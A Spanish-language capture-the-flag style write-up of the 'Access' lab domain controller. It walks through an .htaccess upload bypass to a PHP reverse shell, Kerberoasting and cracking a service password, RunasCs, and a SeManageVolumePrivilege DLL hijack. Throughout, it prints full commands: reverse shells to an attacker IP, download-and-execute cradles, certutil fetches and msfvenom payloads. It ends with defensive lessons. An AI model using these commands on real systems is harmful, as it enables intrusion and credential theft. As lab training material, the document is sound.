Access
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Access es un controlador de dominio (access.offsec) que sirve una web de eventos sobre XAMPP. El formulario de compra de entradas permite subir ficheros: con un.htaccessque mapea una extensión arbitraria a PHP (subida sin restricción) se consigue RCE y una shell comosvc_apache. Desde ahí, un Kerberoasting saca el hash del SPN desvc_mssql, quejohnrompe atrustno1; con esas credenciales, RunasCs da una shell comosvc_mssql. Esa cuenta tieneSeManageVolumePrivilege, que permite reescribir las ACL deC:\Windowsy plantar una DLL maliciosa enwbem(DLL hijacking); al ejecutarsesysteminfocae una shell comoNT AUTHORITY\NETWORK SERVICE, suficiente para leer la prueba.
Reconocimiento
Escaneo inicial
TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido UDP de los puertos comunes ya delata un controlador de dominio (DNS, Kerberos, LDAP, NTP):
ping -c 1 192.168.114.187
sudo nmap -sU --top-ports 1000 --min-rate 5000 -Pn -n --open 192.168.114.187PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldapEl barrido TCP completo confirma el cuadro de un DC con, además, un servidor web por HTTP y HTTPS:
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.114.187PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
389/tcp open ldap
443/tcp open ssl/http
445/tcp open microsoft-ds
5985/tcp open httpnmap -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389 -sCV 192.168.114.187 -oN targetedScanPORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
|_http-title: Access The Event
88/tcp open kerberos-sec Microsoft Windows Kerberos
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: access.offsec0.)
443/tcp open ssl/http Apache httpd 2.4.48 ((Win64) OpenSSL/1.1.1k PHP/8.0.7)
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)Lo atípico en un DC es el Apache con PHP del 80/443: el AD es el entorno, pero el vector de entrada probablemente está en esa web.
SMB - TCP 445
netexec nos da el nombre de dominio y el del equipo, que añadimos a /etc/hosts para resolver los vhosts y Kerberos:
netexec smb 192.168.114.187SMB 192.168.114.187 445 SERVER [*] Windows 10 / Server 2019 Build 17763 x64 (name:SERVER) (domain:access.offsec) (signing:True) (SMBv1:False)echo '192.168.114.187 access.offsec' | sudo tee -a /etc/hostsHTTP - TCP 80
La web "Access The Event" es un sitio de eventos. Fuzzeamos rutas y aparecen un par de directorios interesantes, entre ellos /uploads/, lo que sugiere que en algún sitio se suben ficheros:
dirsearch -u https://access.offsec/ --exclude-status=403,404,503200 /assets/
200 /cgi-bin/printenv.pl
301 /forms/
200 /uploads/El formulario de compra de entradas ("Buy Tickets") incluye un campo Upload Image: ese es el punto de subida.

Shell como svc_apache
Subida sin restricción con bypass de .htaccess
El formulario espera una imagen, pero el servidor es Apache y permite ficheros .htaccess por directorio. La técnica de subida sin restricción aquí tiene un giro: en vez de pelear con la lista de extensiones, subimos primero un .htaccess que le dice a Apache que trate una extensión inofensiva como PHP.
AddType application/x-httpd-php .testLo subimos por el mismo campo Upload Image:

La aplicación acepta la subida ("You will shortly recieve payment link mail"):

Como reverse shell usamos el PHP de Ivan Sincek de revshells.com, apuntando a nuestra IP y al puerto 80 (permitido por el filtrado de salida):

$sh = new Shell('192.168.45.227', 80);
$sh->run();Lo guardamos como rev.test (esa extensión, mapeada a PHP por el .htaccess, no levanta sospechas del filtro de imágenes) y lo subimos igual:


El directorio /uploads/ confirma que el rev.test ha aterrizado:

Con nc a la escucha en el 80:
rlwrap nc -nlvp 80Al visitar https://access.offsec/uploads/rev.test, Apache lo interpreta como PHP y dispara la conexión. La shell entra como access\svc_apache desde C:\xampp\htdocs\uploads:

# rlwrap nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.227] from (UNKNOWN) [192.168.234.187] 50197
SOCKET: Shell has connected! PID: 1008
Microsoft Windows [Version 10.0.17763.2746]
C:\xampp\htdocs\uploads>whoami
access\svc_apacheEl listado de /uploads muestra el rev.test subido; al pedirlo, el nc del 80 recibe la shell como access\svc_apache.
Shell como svc_mssql
Kerberoasting: el SPN de svc_mssql
Con una shell en el dominio, buscamos cuentas de servicio con SPN. Descargamos Get-SPN.ps1 y lo ejecutamos en memoria; entre los resultados, además del krbtgt por defecto, aparece svc_mssql con el SPN MSSQLSvc/DC.access.offsec:
IEX(New-Object Net.WebClient).downloadString('http://192.168.45.227/Get-SPN.ps1')Object Name = MSSQL
servicePrincipalNames
SPN( 1 ) = MSSQLSvc/DC.access.offsecQue una cuenta tenga un SPN habilita el Kerberoasting: cualquier usuario autenticado puede pedir un TGS para ese servicio, y parte del ticket va cifrada con el hash NTLM de la cuenta de servicio. Lo solicitamos en formato Hashcat con Invoke-Kerberoast:
IEX (New-Object Net.WebClient).DownloadString('http://192.168.45.227/Invoke-Kerberoast.ps1'); Invoke-Kerberoast -OutputFormat Hashcat$krb5tgs$23$*svc_mssql$access.offsec$MSSQLSvc/DC.access.offsec*$47B4A826E147FBAC30D27620711E8B79$9C9335...El ticket se rompe offline, sin tocar la máquina ni arriesgar bloqueos de cuenta. La contraseña es débil y cae al instante con rockyou:
john --wordlist=/usr/share/wordlists/rockyou.txt hashtrustno1 (svc_mssql)RunasCs: shell como svc_mssql
Las credenciales svc_mssql:trustno1 son válidas, pero la cuenta no tiene WinRM. Usamos RunasCs para ejecutar comandos con su identidad desde la shell de svc_apache. Primero comprobamos que las credenciales funcionan:
IEX(New-Object Net.WebClient).downloadString('http://192.168.45.227/Invoke-RunasCs.ps1')
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"[*] Warning: The logon for user 'svc_mssql' is limited...
access\svc_mssqlConfirmado, lanzamos un binario de reverse shell (generado con msfvenom) como svc_mssql para tener una sesión interactiva con su contexto. El retorno va al 445, otro puerto permitido:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.227 LPORT=445 -f exe > shell.exeCon Penelope a la escucha en el 445:
penelope 445certutil.exe -f -urlcache -split http://192.168.45.227/shell.exe shell.exe
icacls "C:\Windows\Temp\privesc" /grant "Everyone:(F)" /T
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "C:\Windows\Temp\privesc\shell.exe"
PS C:\Windows\temp\privesc> Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "C:\Windows\Temp\privesc\shell.exe"
[*] Warning: The logon for user 'svc_mssql' is limited...
(Penelope)> sessions 2
[+] Got reverse shell from access.offsec~192.168.234.187-WINDOWS Assigned SessionID <2>
C:\Windows\system32>whoami
access\svc_mssqlInvoke-RunasCs arranca shell.exe con el token de svc_mssql y Penelope recibe la sesión: la nueva shell corre como access\svc_mssql.
Escalada de privilegios
SeManageVolumePrivilege: DLL hijacking en wbem
Lo primero en la nueva shell es mirar los privilegios del token. svc_mssql tiene SeManageVolumePrivilege:
whoami /priv
PRIVILEGES INFORMATION
Privilege Name Description State
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledEn el token aparece SeManageVolumePrivilege (aunque Disabled, el exploit lo habilita al arrancar).
Ese privilegio (SeManageVolumePrivilege) da acceso de bajo nivel al disco y permite reescribir las ACL de C:\Windows. El binario público SeManageVolumeExploit.exe (repo) lo aprovecha para conceder escritura sobre los ficheros del sistema. Lo descargamos y lo servimos:
wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...certutil.exe -f -urlcache -split http://192.168.45.227/SeManageVolumeExploit.exe
.\SeManageVolumeExploit.exe
Entries changed: 934
DONECon escritura en C:\Windows, secuestramos una DLL que cargue un proceso privilegiado. El objetivo es tzres.dll, que el servicio WMI carga al ejecutarse systeminfo. Generamos una tzres.dll maliciosa con una reverse shell (retorno al 135):
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.227 LPORT=135 -f dll -o tzres.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: tzres.dll
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...Con nc a la escucha en el 135, la traemos con certutil y la movemos a wbem:
rlwrap nc -nlvp 135certutil.exe -f -urlcache -split http://192.168.45.227/tzres.dll
move tzres.dll c:\windows\system32\wbem
systeminfo
El systeminfo lanzado provoca que WMI cargue nuestra DLL. En el listener cae una shell como NT AUTHORITY\NETWORK SERVICE (el contexto del proceso que disparó la carga):

# rlwrap nc -nlvp 135
listening on [any] 135 ...
connect to [192.168.45.227] from (UNKNOWN) [192.168.234.187] 51439
Microsoft Windows [Version 10.0.17763.2746]
C:\Windows\system32>whoami
nt authority\network service(En la shell de svc_mssql, el systeminfo devuelve ERROR: The remote procedure call failed porque WMI se cuelga cargando nuestra DLL, justo lo que dispara la conexión.)
Esa cuenta ya puede leer la prueba en el escritorio del administrador:
type C:\Users\Administrator\Desktop\proof.txt
398ec96316ab388f1e6728775ebc463fCadena de ataque
web "Access The Event" sobre XAMPP (HTTP/HTTPS)
│ subida con .htaccess (AddType ... .test) → rev.test interpretado como PHP
▼
shell como svc_apache
│ Get-SPN → SPN MSSQLSvc de svc_mssql → Invoke-Kerberoast → john (trustno1)
▼
credenciales svc_mssql:trustno1 ── RunasCs ──▶ shell como svc_mssql
│ whoami /priv: SeManageVolumePrivilege
│ SeManageVolumeExploit.exe → escritura en C:\Windows
│ tzres.dll maliciosa en \wbem → systeminfo carga la DLL (DLL hijacking)
▼
shell como NT AUTHORITY\NETWORK SERVICE (proof.txt)Lecciones aprendidas
- Un servidor web sobre un DC es una superficie de entrada de primer orden. El Active Directory era el entorno, pero el pie inicial vino de una web en XAMPP. Separar los servicios expuestos del controlador de dominio limita el alcance de un fallo en la aplicación.
- El filtro de extensiones no basta si se puede subir un
.htaccess. Mapear una extensión arbitraria a PHP conAddTypesortea la lista blanca de imágenes. Conviene servir las subidas desde un directorio sin ejecución de PHP y prohibir.htaccesspor usuario (AllowOverride None). - Kerberoasting castiga las contraseñas débiles de las cuentas de servicio. Cualquier usuario del dominio pudo pedir el TGS de
svc_mssql, ytrustno1cayó al instante. Contraseñas largas y aleatorias (o cuentas gestionadas, gMSA) hacen inviable el crackeo offline. - Un privilegio "de mantenimiento" puede ser SYSTEM.
SeManageVolumePrivilegeparece inocuo, pero permite reescribir las ACL deC:\Windowsy abrir la puerta a un DLL hijacking. No conceder ese privilegio a cuentas de servicio que no lo necesitan cierra el vector.